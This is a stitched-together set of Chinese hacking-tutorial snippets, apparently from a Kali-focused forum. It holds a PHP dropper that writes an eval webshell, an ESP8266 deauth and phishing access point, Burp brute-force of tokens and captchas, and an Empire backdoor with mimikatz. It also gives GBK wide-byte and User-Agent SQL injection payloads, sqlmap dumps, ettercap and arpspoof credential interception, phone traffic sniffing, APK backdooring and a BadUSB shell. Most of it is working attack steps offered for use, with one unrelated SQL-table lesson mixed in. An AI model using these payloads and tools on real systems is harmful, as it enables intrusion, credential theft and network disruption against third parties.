apache2 start//启动服务器 ipconfig //查看kali的ip简单的测试 改为ip地址 成功执行了kali里面的11.txt文件。 设想既然能成功执行自己服务器里面的文件,能不能下载或者生成webshell到他的服务器中呢? 我们新建一个kali1.txt文件,写入下面内容。 <?php $a = "<?php eval(\$_POST['123'])?>"; $b = fopen("a.php","w") or die("123!"); fwrite($b,$a); fclose($b); echo "大佬!木马已生成。 "; echo '<br/>'; ?>这样,会生成一个a.php的一句话木马,密码为123 内容为: 我们用菜刀连接
  11. 在前面的教程中,我们提到过利用Fluxion等工具进行WiFi钓鱼,从而来获取WiFi密码,但是这种方法也是有弊端的,比如谁没事干老哪个破电脑干坏事,今天我们来说说如何利用esp8266来进行WiFi钓鱼。准备esp8266板子 刷入固件方法和上篇文章提到的一样,参考文章《esp8266刷入固件》 固件下载 上传web到esp8266安装完后打开工具——开发板——开发板管理器,此时会自动更新,过个数分钟更新完毕后(当然,如果用外网的话可能几秒钟就能解决),搜索eps8266,选择第二个,版本选2.2.0,然后安装。 前面提到过,不再说了。麻烦,具体细节请看历史文章。 将上面解压后的web源码上传工具的tools放到Arduino根目录里合并,然后返回以下界面,点击文件——新建,新建一个项目,将里面的代码清空,然后点击文件——保存,将项目保存到一个你能找到的位置,点击工具——esp8266 sketch data upload,会出现以下的提示,选择No,会发现新建的项目中多出来一个data文件夹,里面是空的,然后将上面下载的web源码\data里面的三个文件复制到这个文件夹里面。 PS: 工具菜单下没有esp8266 sketch data upload,在Arduino根目录下新建tool文件夹,将下面文件解压后放到里面即可。 esp8266 tool文件 将附件放到项目文档的date文件中 web附件下载 sketch data upload,这时不会出现提醒,开始上传web页面,等个1分钟左右esp8266上的蓝灯不闪烁了就表示上传完了。 上传完成之后,会出现一个HH的ssid ,密码为:m1234567 连接该WiFi,浏览器访问后台地址http://192.168.1.1/backdoor.html效果如下: 选择攻击目标,点击提交。蓝灯亮起 开始攻击 伪造的AP 此时正常ap无法正常工作 连接假AP正常跳转到钓鱼页面 演示教程
  12. 登录在浏览器中输入ip地址192.168.4.1 视频演示 使用教程 扫描网络 伪造ssid点击ssids添加WiFi名称 开始攻击 效果如下: 洪水攻击设备正常断网 参考文档esp8266环境搭建 esp8266固件刷入
  13. 打开平台pikachu,点击token方爆破选项。随便输入账号和密码,并且用burp抓包。 我们利用以前破解的方式进行破解,提示如下! username=6666&password=666666&token=679625cb843f4ba37e630426334&submit=Login我们发现多了一个字段token=679625cb843f4ba37e630426334,抱着试一试的心态,我们按照原来的方式破解。 很遗憾,并没有跑出密码。 抽根烟 压压惊 我们按F12审查元素 表单中有一个hidden项,里面存的就是token。 如何破 开启burpsuite代理,抓取数据包。将请求包转送到Intruder(在内容处右键菜单中可以看到)。Attack type选择Pitchfork。将passwod和user_token设置攻击位置(attack position) 在options栏找到Grep - Extract,点击Add。 点击Refetch response,进行一个请求,即可看到响应报文,直接选取需要提取的字符串,上面的会自动填入数据的起始和结束标识。 点击“OK”返回,可以在列表中看到一个grep项。 返回payloads栏,payload 1 设置密码字典,payload 2 选择payload type为“Recursive grep”,然后选择下面的extract grep项即可。 然后 点击Start attack开始攻击,攻击成功 666666.png burp下载 https://bbskali.cn/forum.php?mod=viewthread&tid=1646
  14. 登录数据库,并创建数据库student 创建数据库命令 create database student创建两个表student,和score即学生表和成绩表。 student表的字段有id,name,class,number score表中的字段有number,chinese,math,english 创建表 create table student(`id` int(4),`name` char(40),`class` char(40),`number` char(40)); create table score(`number` char(40),`chinaese` char(40),`math` char(40),`english` char(40)); 当前的表 写入测试数据 insert into student(id,name,class,number) values('1',"张三","一班","201901"); insert into student(id,name,class,number) values('2',"令狐冲","二班","201902"); insert into student(id,name,class,number) values('3',"张三丰","三班","201903"); insert into student(id,name,class,number) values('4',"娜可露露","一班","201904"); insert into score(number,chinaese,math,english) values('201901',"90","87","120"); insert into score(number,chinaese,math,english) values('201902',"82","76","96"); insert into score(number,chinaese,math,english) values('201903',"67","82","110"); insert into score(number,chinaese,math,english) values('201904',"23","66","134");查询如下: SELECT name, class,chinaese, math, english FROM score a INNER JOIN student b ON a.number = b.number;这样就将两张表连接到了一起
  15. 介绍昨天在github中看到一个项目,觉得有点意思,在这里写份教程。Empire一款基于PowerShell的后渗透测试工具。安装 git clone https://github.com/EmpireProject/Empire.gitEmpiresetup目录执行install.sh文件 ./install.sh最后设置数据库密码那里可以默认回车,也可以自己设置 踩坑 如果安装途中,遇到网络问题,多次执行./install.sh文件安装全部依赖,运行主目录下empire启动程序前,先执行setup目录下的reset.sh后再执行主目录empire文件。 使用监听(Empire)> listeners 选择监听方式 (Empire: listeners) > uselistener http 查看需要配置的选项Empire: listeners/http) > info 设置监听的名字 (Empire: listeners/http) > set Name backdoor (Empire: listeners/http) > set Host http://192.168.80.131:4447 #设置木马反弹回连地址 (Empire: listeners/http) > set Port 4447 #设置本地监听端口 Empire: listeners/http) > execute #执行监听 至此,监听工作完成。我们开始配置生成后门。 生成木马(Empire: listeners/http) > back #返回上层模块 (Empire: listeners) > usestager windows/launcher_bat backdoor #选择木马种类这里我选择的是bat类型的脚本,当然你们可以选择其他的。后面的backdoor就是刚刚我们设置的监听,这个模块就是依据监听的配置信息,生成相应的木马,让反弹马找到连接主机。 (Empire: stager/windows/launcher_bat) > info #查看需要配置的你可以set OutFile 到你指定的目录(绝对路径) (Empire: stager/windows/launcher_bat) > execute #执行生成木马 拷贝运行木马、 弹出一个黑框后,它自动消失了,是因为我们刚才生成backdoor的时候其中一个选项delete设置的True,运行结束后删除自身。 点击完我们的backdoor之后,我们回到我们的机器可以看到已经获取到了客户端的一个会话。 (Empire: stager/windows/launcher_bat) > agents #查看获取的代理会话一个会话已经建立完成。 (Empire: agents) > rename HZFT7AX1 win7pro #更改会话名字 建立会话 interact kali 查看密码 mimikatz 更多命令,点击help
  16. 基于servier端1.首先尝试输入错误的用户名,密码,验证码。返回验证码不正确 2.输入错误的用户名密码,输入正确的验证码。返回用户名或者密码不正确 8 3.输入错误的用户名密码,不输入验证码返回验证码不能为空 然后刷新页面,会生出新的验证码。 可以发现服务器对验证码的有效性做过校验,一切逻辑正常。 但是如果这个验证码在后台长期不过期,或者过期时间较长。足够我们去爆破用户名和密码,那么就会产生漏洞。 1.输入错误的用户名和密码,然后输入正确的验证码。 然后将包发送到repeater模块中 注意:如果提示密码错误,请刷新页面。获取新的验证码即可。 然后添加到intruder 设置参数 跑出结果即可。 client端不安全的验证码——on client(只在前端处理)绕过 步骤: 1、打开burp suite,打开PHP study,打开Pikachu,点击on client选项 2、输入一次正确的验证码,随意输入账号密码,进行抓包。 抓包 选中,右键发送至repeater 4、点击raw,随意改一下验证码,点击“go”,若出现用户名或密码错误,而不是验证码错误,则验证码只在前端处理,将地址发到intruder,直接暴力破解,无需考虑验证码。 看,这里提示是用户名和密码错误,而不是验证码错误。 也就是说,前端的这个js验证码就是吓唬人的。 <script language="javascript" type="text/javascript"> var code; //在全局 定义验证码 function createCode() { code = ""; var codeLength = 5;//验证码的长度 var checkCode = document.getElementById("checkCode"); var selectChar = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9,'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');//所有候选组成验证码的字符,当然也可以用中文的 for (var i = 0; i < codeLength; i++) { var charIndex = Math.floor(Math.random() * 36); code += selectChar[charIndex]; } //alert(code); if (checkCode) { checkCode.className = "code"; checkCode.value = code; } } function validate() { var inputCode = document.querySelector('#bf_client .vcode').value; if (inputCode.length <= 0) { alert("请输入验证码!"); return false; } else if (inputCode != code) { alert("验证码输入错误!"); createCode();//刷新验证码 return false; } else { return true; } } createCode(); </script>接着,我们连着上述步骤进行暴力破解即可!
  17. 启动msfmsfconsole配置参数use auxiliary/gather/shodan_search获取shodan aip登录shodan 点击show api key 返回msf配置参数 set SHODAN_APIKEY you api key set QUERY "webcamXP" run可以看到我们已经收集了很多的暴露在公网的ip地址,我们随便打开。
  18. 注入原理在magic_quotes_gpc=On的情况下,提交的参数中如果带有单引号’,就会被自动转义\’,使很多注入攻击无效, GBK双字节编码:一个汉字用两个字节表示,首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F),刚好涵盖了转义符号\对应的编码0×5C。 0xD50×5C 对应了汉字“诚”,URL编码用百分号加字符的16进制编码表示字符,于是 %d5%5c 经URL解码后为“诚”。 下面分析攻击过程: /test.php?username=test%d5′%20or%201=1%23&pwd=test 经过浏览器编码,username参数值为(单引号的编码0×27) username=test%d5%27%20or%201=1%23 经过php的url解码 username=test 0xd5 0×27 0×20 or 0×20 1=1 0×23 (为了便于阅读,在字符串与16进制编码之间加了空格) 经过PHP的GPC自动转义变成(单引号0×27被转义成\’对应的编码0×5c0×27): username=test 0xd5 0×5c 0×27 0×20 or 0×20 1=1 0×23 因为在数据库初始化连接的时候SET NAMES ‘gbk’,0xd50×5c解码后为诚,0×27解码为’,0×20为空格,0×23为mysql的注释符# 上面的SQL语句最终为: SELECT * FROM user WHERE username=’test诚’ or 1=1#’ and password=’test’; 注释符#后面的字符串已经无效,等价于 SELECT * FROM user WHERE username=’test诚’ or 1=1; 条件变成永真,成功注入。 补充: 0xD50×5C不是唯一可以绕过单引号转义的字符,0×81-0xFE开头+0×5C的字符应该都可以。 手工注入开启漏洞环境,并用burp抓包 爆出数据库%df' union select 1,database() %23 爆出表%df' union select 1,group_concat(table_name) from information_schema.columns where table_schema=database() %23 注意:这里列出了四个users表,意味着该表下面有四个字段 爆出数据查用户 %df' union select 1,username from users where 1=1 limit 0,1 %23 查密码 %df' union select 1, password from users where 1=1 limit 0,1 %23
  19. 什么是Http Header注入有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证) 或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等。 会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑 则可能会导致基于http header的SQL Inject漏洞。 基于user-agent字段验证在user-agent字段后输入'效果如下 爆出数据库User-Agent: 1'or updatexml(1,concat(0x7e,(database())),0) or' 爆出表User-Agent: test001' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='lou' limit 0,1)),0) or' 爆出列User-Agent:test001' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1)),0) or' 爆出内容User-Agent:test001' or updatexml(1,concat(0x7e,(select concat_ws(':', username, password) from users limit 0,1)),0) or' 其他 sqlmap注入之(搜索型)注入 验证是否有注入我们直接输入一个字符k,点击搜索。提示未见异常我们输入关键字%k%效果如下:此时,我们可以得出,存在...
  20. 克隆项目git clone https://github.com/vasco2016/shellsploit-framework 安装依赖root$ sudo pip install capstone root$ sudo pip install readline(Not necessary for windows coz preinstalled in shellsploit) root$ sudo pip install pefile root$ sudo pip install colorama root$ sudo pip install pylzma 安装root$ python setup.py -s/ --setup install root$ chmod +x shellsploit.py root$ ./shellsploit 查看注入模块show injectors 开始注入我们选择一个模块注入 use injectors/Windows/BFD/Patching显示配置项show options 参数说明file:要注入的软件(填写路径) host:kali的ip地址 port:端口 使用nc进行监听nc -lvp 4444运行之后成功得到反弹
  21. 验证是否有注入我们直接输入一个字符k,点击搜索。 提示未见异常 我们输入关键字%k% 效果如下: 此时,我们可以得出,存在搜索型注入漏洞 攻击方式一利用burp抓包,将包中的文件另存为22.txt 将22.txt放到sqlmap根目录 /usr/share/sqlmap 爆出数据库sqlmap -r "22.txt" --dbs 爆出表sqlmap -r "22.txt" -D lou --tables 爆出表结构sqlmap -r "22.txt" -D lou -T users --columns 方式二不需要抓包保存文件的形式,直接执行命令 sqlmap -u http://192.168.123.129/vul/sqli/sqli_search.php? --data "name=*&submit=%E6%90%9C%E7%B4%A2" --dbs
  22. 图形界面攻击命令: ettercap -G启动中间人攻击,这里需要注意大小写。 依次点击sniff-unified sniffing 选择我们的无线网卡 点击host-scan for hosts-host list扫描设备 点击目标主机添加为target1将路由设置为target2 然后点击mitm -arp psisoning将第一个勾选 然后点击start 当设备有密码登录时,我们就可以拦截到对方输入的密码。 当然,我们也可以用wireshark分析post来获取密码 当我们抓到握手包后,在协议中搜索http.request.method == "POST" 其他一些相应的信息 命令界面一:先编辑配置文件vim/etc/ettercap/etter.conf去掉前面的#号 redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" 二:开启ARP欺骗arpspoof -t 目标 网关 -i 设备 截取的密码 当然这期教程之前在公众号发布过视频教程 任意门
  23. 扫描电脑端方法一:抓包方式相对于电脑端来说,很简单。因为电脑的QQ使用的是OICQ协议。我们只需要抓包搜索OICQ协议即可。 然后查找协议 OICQ - IM software, popular in China展开后即可看到QQ号码 方法二:利用软件下载软件QQSNIFFER运行扫描 理论上,这款软件时可以扫描出手机端的QQ但是经过实践,发现并没有扫描出来。 扫描手机QQ先查找局域网的手机设备 nmap -sP 192.168.123.1/24 我们发现了一个手机设备 手机型号:MI8SE-xiaomishouji ip地址:192.168.123.96 利用tcpdump抓手机的数据包 tcpdump -i wlan0 host 192.168.123.96 -w 123.cap将手机的数据包保存为123.cap 稍等片刻,按ctrl+c停止 分析123.cap数据包 因为手机QQ使用的协议是TCP协议,所以我们不能用oicq协议来分析。但是我在分析数据包的时候发现。在QQ号的前面,常存在十六进制00 00 00 0d所以,我们按ctrl+f搜索十六进制即可。
  24. 下载项目git clone https://github.com/dana-at-cp/backdoor-apk 二:添加后门命令: ./backdoor-apk.sh pad.apk 选择模块 配置ip地址和端口 生成并保存木马
  25. 设备badusb手机一部 配置SSH在kali下我们配置ssh,配置过程参考文章 kali linux配置ssh 启动sshservice ssh start启动花生壳并做好端口映射利用手机登录kali 启动msfmsfconsole 配置参数 插入badusb得到shell 关机回家